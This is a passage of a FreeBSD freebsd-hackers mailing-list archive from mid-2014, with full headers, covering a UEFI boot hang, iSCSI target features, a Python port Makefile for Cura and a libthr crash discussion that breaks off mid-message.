mx1.freebsd.org (Postfix) with ESMTPS id 4DFEA2B8E; Sun, 29 Jun 2014 21:36:41 +0000 (UTC) Received: by mail-la0-f48.google.com with SMTP id el20so4318527lab.35 for ; Sun, 29 Jun 2014 14:36:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:from:reply-to:to:references:in-reply-to:subject:date :mime-version:content-type:content-transfer-encoding:thread-index :content-language; bh=r63E0j81mcO5ktVF6JKnlMDGD6UcbW/yOgCWAO3R3fY=; b=bmpNLSYZItF1qxFP+Bd+4RDBNZALORnm8ItiDbVKmSNykYCvtfPSRGb02e9WnvLw1j Oz8lqEd5Op73aHFGrmwBPAYTwSNJt6oaqut/Jwknsf3Eg2d+xE/mDOkY1M8nU33wh6OI Wu+vazt+/LNCzsZeihrGsjrSdBuIw+MZRMTTGx6+4b4mNUIjM1b13dAEbcvtMszcR0sm eMoXn9Z3a7dEiJbCdAnq4k1OmavtzzNqjOlioxCgQRddr3SithJZJctUD/MWVl2V6nZh HtEPGGPvUjJzpR1Sh18JpG/kmXZWBQN/HhmvCPJyZMcKJtD6yOw1HAkhnkFUqCr5nlal kD4A== X-Received: by 10.152.23.103 with SMTP id l7mr27725762laf.39.1404077798522; Sun, 29 Jun 2014 14:36:38 -0700 (PDT) Received: from rimwks1w7x64 ([2001:470:1f15:8e:2572:f5c6:8c11:c971]) by mx.google.com with ESMTPSA id w7sm7793308laj.9.2014.06.29.14.36.36 for (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Sun, 29 Jun 2014 14:36:37 -0700 (PDT) Message-ID: <53b086e5.4725980a.2fcc.ffffadad@mx.google.com> X-Google-Original-Message-ID: <01da01cf93e2$34df5fe0$9e9e1fa0$@IM@gmail.com> From: rozhuk.im@gmail.com X-Google-Original-From: Reply-To: To: "'Nathan Whitehorn'" , References: <53b0738c.883e700a.69cd.ffffb097@mx.google.com> <53B075D4.4060403@freebsd.org> In-Reply-To: <53B075D4.4060403@freebsd.org> Subject: RE: UEFI boot hang Date: Mon, 30 Jun 2014 01:36:35 +0400 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 thread-index: Ac+T2AotGImWNnSlRS68yurnsneZ4QACgeMw Content-Language: ru X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jun 2014 21:36:42 -0000 GENERIC, without vt > -----Original Message----- > From: Nathan Whitehorn [mailto:nwhitehorn@freebsd.org] > Sent: Monday, June 30, 2014 12:24 AM > To: freebsd-hackers@freebsd.org > Cc: rozhuk.im@gmail.com > Subject: Re: UEFI boot hang > > Are you running with a VT kernel or GENERIC? syscons (in GENERIC) > doesn't work with UEFI. > -Nathan > > On 06/29/14 13:14, rozhuk.im@gmail.com wrote: > > MB: AM1M-A > > CPU: 5350 > > FreeBSD firewall 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r267784 > > > > http://netlab.linkpc.net/download/tmp/fbsd_11_uefi_hang.jpg > > > > Any ideas? > > > > > > > > > > _______________________________________________ > > freebsd-hackers@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > To unsubscribe, send any mail to "freebsd-hackers- > unsubscribe@freebsd.org" > > From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 29 22:09:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 398473B3 for ; Sun, 29 Jun 2014 22:09:10 +0000 (UTC) Received: from i3mail.icecube.wisc.edu (i3mail.icecube.wisc.edu [128.104.255.23]) by mx1.freebsd.org (Postfix) with ESMTP id 0D9182DBC for ; Sun, 29 Jun 2014 22:09:09 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by i3mail.icecube.wisc.edu (Postfix) with ESMTP id E7CEC38054; Sun, 29 Jun 2014 17:09:08 -0500 (CDT) X-Virus-Scanned: amavisd-new at icecube.wisc.edu Received: from i3mail.icecube.wisc.edu ([127.0.0.1]) by localhost (i3mail.icecube.wisc.edu [127.0.0.1]) (amavisd-new, port 10030) with ESMTP id FS54m0Arr940; Sun, 29 Jun 2014 17:09:08 -0500 (CDT) Received: from comporellon.tachypleus.net (polaris.tachypleus.net [75.101.50.44]) by i3mail.icecube.wisc.edu (Postfix) with ESMTPSA id 4265538052; Sun, 29 Jun 2014 17:09:08 -0500 (CDT) Message-ID: <53B08E7A.7060909@freebsd.org> Date: Sun, 29 Jun 2014 15:08:58 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Rozhuk.IM@gmail.com, freebsd-hackers@freebsd.org Subject: Re: UEFI boot hang References: <53b0738c.883e700a.69cd.ffffb097@mx.google.com> <53B075D4.4060403@freebsd.org> <53b086e5.4725980a.2fcc.ffffadad@mx.google.com> In-Reply-To: <53b086e5.4725980a.2fcc.ffffadad@mx.google.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jun 2014 22:09:10 -0000 OK, then you need a new kernel for UEFI to work. When vt becomes part of GENERIC, which should be soon, this will be fixed. -Nathan On 06/29/14 14:36, rozhuk.im@gmail.com wrote: > GENERIC, without vt > >> -----Original Message----- >> From: Nathan Whitehorn [mailto:nwhitehorn@freebsd.org] >> Sent: Monday, June 30, 2014 12:24 AM >> To: freebsd-hackers@freebsd.org >> Cc: rozhuk.im@gmail.com >> Subject: Re: UEFI boot hang >> >> Are you running with a VT kernel or GENERIC? syscons (in GENERIC) >> doesn't work with UEFI. >> -Nathan >> >> On 06/29/14 13:14, rozhuk.im@gmail.com wrote: >>> MB: AM1M-A >>> CPU: 5350 >>> FreeBSD firewall 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r267784 >>> >>> http://netlab.linkpc.net/download/tmp/fbsd_11_uefi_hang.jpg >>> >>> Any ideas? >>> >>> >>> >>> >>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to "freebsd-hackers- >> unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 29 22:40:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6DE197FD; Sun, 29 Jun 2014 22:40:35 +0000 (UTC) Received: from mail-la0-x231.google.com (mail-la0-x231.google.com [IPv6:2a00:1450:4010:c03::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id BA95F205B; Sun, 29 Jun 2014 22:40:34 +0000 (UTC) Received: by mail-la0-f49.google.com with SMTP id gf5so4341989lab.36 for ; Sun, 29 Jun 2014 15:40:32 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:from:reply-to:to:references:in-reply-to:subject:date :mime-version:content-type:content-transfer-encoding:thread-index :content-language; bh=XD5WxsP/SnqfA9tCyUyP1lHGXMAEIJzZHIXLgm31t7w=; b=BYkdyexjPAiioas2c7AzWC2mXl5DjMWLFXpG38Jp1lA57xPpTMoXK9jht5HtGw6Z01 SITywI9RPIb5nPP0YAxWj4sfk+PYVoCWi5zyyi1gfsw0NXuNOdQfC3aZZ5YetIhHW5io p7nKYCPPAU9sMZ5Jaxow5XksfA6ILkVfc6IPrNRba8DmYPhJUmwr2vIwncWp/Bx/GDbv sljh1/+8mv2tKoBdouL4rvl2aWJvMytbY79ozHPHTXeB9ymGWLjxtBgpQRXKbrirfq7N 5+jbX0XUtZOVE8oQeElYsw7eGOXVRxw976FSmsMp0+N9QYQ7uSVOx8SplIQUPI6Niv12 aOxg== X-Received: by 10.112.126.38 with SMTP id mv6mr3561903lbb.54.1404081632368; Sun, 29 Jun 2014 15:40:32 -0700 (PDT) Received: from rimwks1w7x64 ([2001:470:1f15:8e:2572:f5c6:8c11:c971]) by mx.google.com with ESMTPSA id j13sm7846631lab.39.2014.06.29.15.40.29 for (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Sun, 29 Jun 2014 15:40:31 -0700 (PDT) Message-ID: <53b095df.ad0a980a.0533.ffffb15c@mx.google.com> X-Google-Original-Message-ID: <01db01cf93eb$2201e1a0$6605a4e0$@IM@gmail.com> From: rozhuk.im@gmail.com X-Google-Original-From: Reply-To: To: "'Nathan Whitehorn'" , References: <53b0738c.883e700a.69cd.ffffb097@mx.google.com> <53B075D4.4060403@freebsd.org> <53b086e5.4725980a.2fcc.ffffadad@mx.google.com> <53B08E7A.7060909@freebsd.org> In-Reply-To: <53B08E7A.7060909@freebsd.org> Subject: RE: UEFI boot hang Date: Mon, 30 Jun 2014 02:40:28 +0400 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 thread-index: Ac+T5r//N/UEQLrMTlmglfzNgW0y/wABEkew Content-Language: ru X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jun 2014 22:40:35 -0000 I try with VT kernel and got: http://netlab.linkpc.net/download/tmp/fbsd_11_uefi_fatal1.jpg > -----Original Message----- > From: Nathan Whitehorn [mailto:nwhitehorn@freebsd.org] > Sent: Monday, June 30, 2014 2:09 AM > To: Rozhuk.IM@gmail.com; freebsd-hackers@freebsd.org > Subject: Re: UEFI boot hang > > OK, then you need a new kernel for UEFI to work. When vt becomes part > of GENERIC, which should be soon, this will be fixed. > -Nathan > > On 06/29/14 14:36, rozhuk.im@gmail.com wrote: > > GENERIC, without vt > > > >> -----Original Message----- > >> From: Nathan Whitehorn [mailto:nwhitehorn@freebsd.org] > >> Sent: Monday, June 30, 2014 12:24 AM > >> To: freebsd-hackers@freebsd.org > >> Cc: rozhuk.im@gmail.com > >> Subject: Re: UEFI boot hang > >> > >> Are you running with a VT kernel or GENERIC? syscons (in GENERIC) > >> doesn't work with UEFI. > >> -Nathan > >> > >> On 06/29/14 13:14, rozhuk.im@gmail.com wrote: > >>> MB: AM1M-A > >>> CPU: 5350 > >>> FreeBSD firewall 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r267784 > >>> > >>> http://netlab.linkpc.net/download/tmp/fbsd_11_uefi_hang.jpg > >>> > >>> Any ideas? > >>> > >>> > >>> > >>> > >>> _______________________________________________ > >>> freebsd-hackers@freebsd.org mailing list > >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > >>> To unsubscribe, send any mail to "freebsd-hackers- > >> unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 30 11:33:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DC651F73 for ; Mon, 30 Jun 2014 11:33:28 +0000 (UTC) Received: from mail-lb0-f170.google.com (mail-lb0-f170.google.com [209.85.217.170]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 5CF9A2BDD for ; Mon, 30 Jun 2014 11:33:27 +0000 (UTC) Received: by mail-lb0-f170.google.com with SMTP id 10so5867656lbg.29 for ; Mon, 30 Jun 2014 04:33:20 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:message-id:in-reply-to :references:mime-version:content-type:content-transfer-encoding; bh=zSYnc93bKBN+cV/C3SWFiiGIeWv74hvWduI4lfMr5Tg=; b=HOKnGEudvFmkm+yuqtbUoHaS9Tix+heI9mxO8eh8uVDoeoRDvYZx5Lvbe2JNrvA9hv wiZvpnLQzqa6ol126PVbPqvA1sX6goAAfA04j+FR5C8xcd7jQyItHaZpJXfxPLmNaEm+ e42/4x2T1ztzCkIvUGe5eHpLZP3ehJeKAMiADNz1PKmg4UdgiqnI8BlcP4YUaq7lNKFr Qy1vOCnTzrTygiJwQtp//SDegiVUv7asuaowYHDKzxcEGao7jT9zjDhFgNSEgQjZRwJo U2M3xd9W9nuFmV38qHEeosbl+94v+UasJs24ezirHoaPDdwrw7p7aGmldx3VgVPXhWMu GOLg== X-Gm-Message-State: ALoCoQk0uaOpyGcOvx8iWC8qtrUZyz5ph2OKOi4hExAKv9TKsjtWxLB6vDy0wrPiNNwkEFOKK0pc X-Received: by 10.152.207.11 with SMTP id ls11mr1560117lac.62.1404127999945; Mon, 30 Jun 2014 04:33:19 -0700 (PDT) Received: from raynote.ddteam.net (39-189-133-95.pool.ukrtel.net. [95.133.189.39]) by mx.google.com with ESMTPSA id go4sm23258014lbc.35.2014.06.30.04.33.17 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 30 Jun 2014 04:33:18 -0700 (PDT) Date: Mon, 30 Jun 2014 14:32:04 +0300 From: Aleksandr Rybalko To: Rozhuk.IM@gmail.com Subject: Re: UEFI boot hang Message-Id: <20140630143204.b9cba8ca539dec090ce4be46@ddteam.net> In-Reply-To: <53b095df.ad0a980a.0533.ffffb15c@mx.google.com> References: <53b0738c.883e700a.69cd.ffffb097@mx.google.com> <53B075D4.4060403@freebsd.org> <53b086e5.4725980a.2fcc.ffffadad@mx.google.com> <53B08E7A.7060909@freebsd.org> <53b095df.ad0a980a.0533.ffffb15c@mx.google.com> X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.22; amd64-portbld-freebsd11.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org, rozhuk.im@gmail.com, 'Nathan Whitehorn' X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 30 Jun 2014 11:33:29 -0000 On Mon, 30 Jun 2014 02:40:28 +0400 rozhuk.im@gmail.com wrote: > > I try with VT kernel and got: > > http://netlab.linkpc.net/download/tmp/fbsd_11_uefi_fatal1.jpg Hi Ivan, can you please get backtrace somehow? Thanks! > > > > -----Original Message----- > > From: Nathan Whitehorn [mailto:nwhitehorn@freebsd.org] > > Sent: Monday, June 30, 2014 2:09 AM > > To: Rozhuk.IM@gmail.com; freebsd-hackers@freebsd.org > > Subject: Re: UEFI boot hang > > > > OK, then you need a new kernel for UEFI to work. When vt becomes part > > of GENERIC, which should be soon, this will be fixed. > > -Nathan > > > > On 06/29/14 14:36, rozhuk.im@gmail.com wrote: > > > GENERIC, without vt > > > > > >> -----Original Message----- > > >> From: Nathan Whitehorn [mailto:nwhitehorn@freebsd.org] > > >> Sent: Monday, June 30, 2014 12:24 AM > > >> To: freebsd-hackers@freebsd.org > > >> Cc: rozhuk.im@gmail.com > > >> Subject: Re: UEFI boot hang > > >> > > >> Are you running with a VT kernel or GENERIC? syscons (in GENERIC) > > >> doesn't work with UEFI. > > >> -Nathan > > >> > > >> On 06/29/14 13:14, rozhuk.im@gmail.com wrote: > > >>> MB: AM1M-A > > >>> CPU: 5350 > > >>> FreeBSD firewall 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r267784 > > >>> > > >>> http://netlab.linkpc.net/download/tmp/fbsd_11_uefi_hang.jpg > > >>> > > >>> Any ideas? > > >>> > > >>> > > >>> > > >>> > > >>> _______________________________________________ > > >>> freebsd-hackers@freebsd.org mailing list > > >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > >>> To unsubscribe, send any mail to "freebsd-hackers- > > >> unsubscribe@freebsd.org" > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" WBW -- Aleksandr Rybalko From owner-freebsd-hackers@FreeBSD.ORG Tue Jul 1 09:12:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id ABB2B609; Tue, 1 Jul 2014 09:12:57 +0000 (UTC) Received: from mail-wg0-x232.google.com (mail-wg0-x232.google.com [IPv6:2a00:1450:400c:c00::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 1B5622861; Tue, 1 Jul 2014 09:12:56 +0000 (UTC) Received: by mail-wg0-f50.google.com with SMTP id m15so9404417wgh.9 for ; Tue, 01 Jul 2014 02:12:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:mail-followup-to :references:mime-version:content-type:content-disposition :in-reply-to:user-agent; bh=uU58Olg7Ac0odPGVqkXt4DZsq58ATxhdfUhFfFMvohQ=; b=MMiwR/Z2YhsTL43fynnpmpzj5Ol9tcxIIs9jWJRvRuGLCcnN0DDBJLq169RHdaXGeI XazPG0IZPcnkukAZBK9nsA2JitSO/93YvaHUKeExCKhaZD74qpgYsvAlrYHnne7aqMgK bly8wfZOzEJSjozDLw+/80EP09RCZTy8oFULjIlOzzVE1Kz34Pln9rpMDQgTbrlsD1FJ KagUHNHIImH08kKWsOjKs7p2jfg8MsbZ1m1k4LF8RZi6BPu1YLl/VVwMHCYmCQrXx0g3 /1kMJQBfi3eK3Nmd+mR2AyyO14qDiM8Pdk6TEsxY7NS6fbgWG2NzTqW3K2pkD/QmGKtB HwQQ== X-Received: by 10.180.186.97 with SMTP id fj1mr34532837wic.18.1404205975305; Tue, 01 Jul 2014 02:12:55 -0700 (PDT) Received: from brick ([83.2.52.186]) by mx.google.com with ESMTPSA id da9sm41132243wib.5.2014.07.01.02.12.54 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 01 Jul 2014 02:12:54 -0700 (PDT) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Date: Tue, 1 Jul 2014 11:12:52 +0200 From: Edward Tomasz =?utf-8?Q?Napiera=C5=82a?= To: Sreenivasa Honnur Subject: Re: FreeBSD iscsi target Message-ID: <20140701091252.GB3443@brick> Mail-Followup-To: Sreenivasa Honnur , "freebsd-hackers@freebsd.org" , freebsd-current Current References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> <53ACE5B4.8070700@rice.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) Cc: "freebsd-hackers@freebsd.org" , freebsd-current Current X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Jul 2014 09:12:57 -0000 Hi. I've replied in private, but just for the record: On 0627T0927, Sreenivasa Honnur wrote: > Does freebsd iscsi target supports: > 1. ACL (access control lists) In 10-STABLE there is a way to control access based on initiator name and IP address. > 2. iSNS No; it's one of the iSCSI features that seem to only be used for marketing purposes :-) > 3. Multiple connections per session No; see above. > 4. Dynamic Lun allocation/resize Yes. > 5. Target redirection It's in Perforce; I'll try to get it into 11-HEAD shortly. From owner-freebsd-hackers@FreeBSD.ORG Tue Jul 1 13:56:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5DBDED3D; Tue, 1 Jul 2014 13:56:42 +0000 (UTC) Received: from mail-ob0-x236.google.com (mail-ob0-x236.google.com [IPv6:2607:f8b0:4003:c01::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 1DBF323CA; Tue, 1 Jul 2014 13:56:42 +0000 (UTC) Received: by mail-ob0-f182.google.com with SMTP id nu7so10490676obb.41 for ; Tue, 01 Jul 2014 06:56:41 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=GPU7yECTSJBnBJI3VM270xVCK4mQF5LHHykar5pt+sI=; b=tujZcR1KQu/OA9F9xJ2HJhxgv5D9ZXjEDtNIBOwMTHPUJDaA3sgfatTTnRPk2VMmGu GLE8696lZtAdy/tyWl39dU6fjz7Clh8BNb/kU4je45Dfw/4fUtG8mG1DpENmGVwo/+17 IeehFY5orRkCOkRTY9Jh62hHOE9Ya8fOHVHt7sFvXELixzGT4lQwi89chRUdvykAR1qV EKKFrYHGTj7hMX3fipeoC4DA/vYCRLX6q4pRR/GLmJXh9FsK7JXmEGtBZ81g6f4WzBjq OHfVSHsHzSXkEH6NQBM9p2IZwpKrNiTG29sQbdxDdnAflkPJlLTVdhfk7PuroVU/Y2Ar ff3w== MIME-Version: 1.0 X-Received: by 10.60.143.37 with SMTP id sb5mr49244170oeb.38.1404222999996; Tue, 01 Jul 2014 06:56:39 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.202.5.193 with HTTP; Tue, 1 Jul 2014 06:56:39 -0700 (PDT) Date: Tue, 1 Jul 2014 15:56:39 +0200 X-Google-Sender-Auth: CwbNkD9VlMVJeqVCAIkV-BZqqhc Message-ID: Subject: port - python dependencies and github master From: CeDeROM To: freebsd-ports , freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Jul 2014 13:56:42 -0000 Hello there :-) I am writing a Makefile to a Python based port that gets the source code from GitHub. Two questions: 1. How to change PORTVERSION / GH_COMMIT based on user choice / option? One value for PORTVERSION seems fine but to change it to master does not work.. 2. Is the way to check python modules dependency correct? PORTNAME= cura PORTVERSION= 14.06 #STABLEREL= 14.06 CATEGORIES= cad MAINTAINER= blah@blah COMMENT= Cura is a complete and open slicing solution for RepRap 3D printers. OPTIONS_SINGLE= BTYPE OPTIONS_SINGLE_BTYPE= RELEASE DEVEL OPTIONS_SUB= yes RELEASE_DESC= Build latest stable release from github (${PORTVERSION}) DEVEL_DESC= Build latest development snapshot from github master OPTIONS_DEFAULT= RELEASE .include #.if ${PORT_OPTIONS:MRELEASE} #PORTVERSION= ${STABLEREL} #.endif .if ${PORT_OPTIONS:MDEVEL} PORTVERSION= master #STABLEREL= master .endif #PORTVERSION= ${STABLEREL} USE_PYTHON= yes RUN_DEPENDS+= ${PYTHONPREFIX_SITELIBDIR}/OpenGL:${PORTSDIR}/graphics/py-opengl \ ${PYTHONPREFIX_SITELIBDIR}/numpy:${PORTSDIR}/math/py-numpy \ ${PYTHONPREFIX_SITELIBDIR}/setuptools:${PORTSDIR}/devel/py-setuptools \ ${PYTHONPREFIX_SITELIBDIR}/serial:${PORTSDIR}/comms/py-serial BUILD_DEPENDS+= git:${PORTSDIR}/devel/git USE_GITHUB= yes GH_ACCOUNT= daid GH_COMMIT= ${PORTVERSION} -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Tue Jul 1 19:37:03 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CAD56EC2 for ; Tue, 1 Jul 2014 19:37:03 +0000 (UTC) Received: from mo6.mail-out.ovh.net (7.mo6.mail-out.ovh.net [46.105.59.196]) by mx1.freebsd.org (Postfix) with ESMTP id 6338026DB for ; Tue, 1 Jul 2014 19:37:03 +0000 (UTC) Received: from mail423.ha.ovh.net (b6.ovh.net [213.186.33.56]) by mo6.mail-out.ovh.net (Postfix) with SMTP id F2871FFA3DB for ; Tue, 1 Jul 2014 16:49:43 +0200 (CEST) Received: from b0.ovh.net (HELO queueout) (213.186.33.50) by b0.ovh.net with SMTP; 1 Jul 2014 16:50:48 +0200 Received: from user-109-243-138-16.play-internet.pl (HELO starpad.nine) (grzegorz@blach.pl@109.243.138.16) by ns0.ovh.net with SMTP; 1 Jul 2014 16:50:45 +0200 Message-ID: <53B2CA82.6030504@blach.pl> Date: Tue, 01 Jul 2014 16:49:38 +0200 From: Grzegorz Blach User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Konstantin Belousov Subject: Re: Crash probably in libthr References: <53A95016.3090901@blach.pl> <20140624205420.GZ93733@kib.kiev.ua> <53ADEE4C.2080804@blach.pl> <20140628110434.GB93733@kib.kiev.ua> In-Reply-To: <20140628110434.GB93733@kib.kiev.ua> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Ovh-Tracer-Id: 14611084567781727936 X-Ovh-Remote: 109.243.138.16 (user-109-243-138-16.play-internet.pl) X-Ovh-Local: 213.186.33.20 (ns0.ovh.net) X-OVH-SPAMSTATE: OK X-OVH-SPAMSCORE: 0 X-OVH-SPAMCAUSE: gggruggvucftvghtrhhoucdtuddrfeejfedrudduucetufdoteggodetrfcurfhrohhfihhlvgemucfqggfjnecuuegrihhlohhuthemuceftddtnecu X-Spam-Check: DONE|U 0.5/N X-VR-SPAMSTATE: OK X-VR-SPAMSCORE: 0 X-VR-SPAMCAUSE: gggruggvucftvghtrhhoucdtuddrfeejfedrudduucetufdoteggodetrfcurfhrohhfihhlvgemucfqggfjnecuuegrihhlohhuthemuceftddtnecu X-Mailman-Approved-At: Tue, 01 Jul 2014 19:45:31 +0000 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Jul 2014 19:37:04 -0000 On 06/28/14 13:04, Konstantin Belousov wrote: > On Sat, Jun 28, 2014 at 12:21:00AM +0200, Grzegorz Blach wrote: >> On 06/24/14 22:54, Konstantin Belousov wrote: >>> On Tue, Jun 24, 2014 at 12:16:54PM +0200, Grzegorz Blach wrote: >>>> On https://phab.enlightenment.org/T1330 I reported a crash in >>>> Enlightenment. After analyzing backtraces from valgrind and gdb we think >>>> this might be a bug in libthr. >>> And how did you come to this conclusion ? >>> >>>> Backtrace from valgrind: >>>> https://phab.enlightenment.org/file/data/wlcvu7kmb5blxmgtnk2p/PHID-FILE-dimurhxlz4tvytoxnfup/valgrind2.log >>>> Backtrace from gdb: >>>> https://phab.enlightenment.org/file/data/zvbelqzjt4h3ppates6a/PHID-FILE-dsnaw3golsozpzlb7uqe/gdb2.log >>>> >>>> Have any one known what >>>> /usr/src/lib/libthr/arch/amd64/amd64/_umtx_op_err.S:37 does? >>> The gdb backtrace you posted reports that the SIGSEGV occured in the >>> thread with lwp id 100363. According to the same log, innermost >>> frame for the thread is in _op_blend_p_dp_mmx(), which is line 11 >>> in the file src/lib/evas/common/./evas_op_blend/op_blend_pixel_i386.c. >>> >>> umtx_op is the syscall which typically parks thread in the kernel while >>> waiting for unblock. It appeared in the log because your process is >>> multithreaded and that other thread slept waiting for an event. >> Backtrace from valgrind is completely different than backtrace from gdb. >> How do you think that backtrace is more appropriate? > Because gdb backtrace looks sane, for me. > >> Also I posted your reply on https://phab.enlightenment.org/T1330 this is >> an answer: >> >> "As I stated before the gdb trace is at least messed up, especially as >> the caller to the _op_blend_p_dp_mmx report a lot of impossible >> information (all the parameter that int are marked > variable: Cannot access memory at address 0x0> or ). I >> fail to see how we could believe that nothing is messed up at that point >> and that gdb 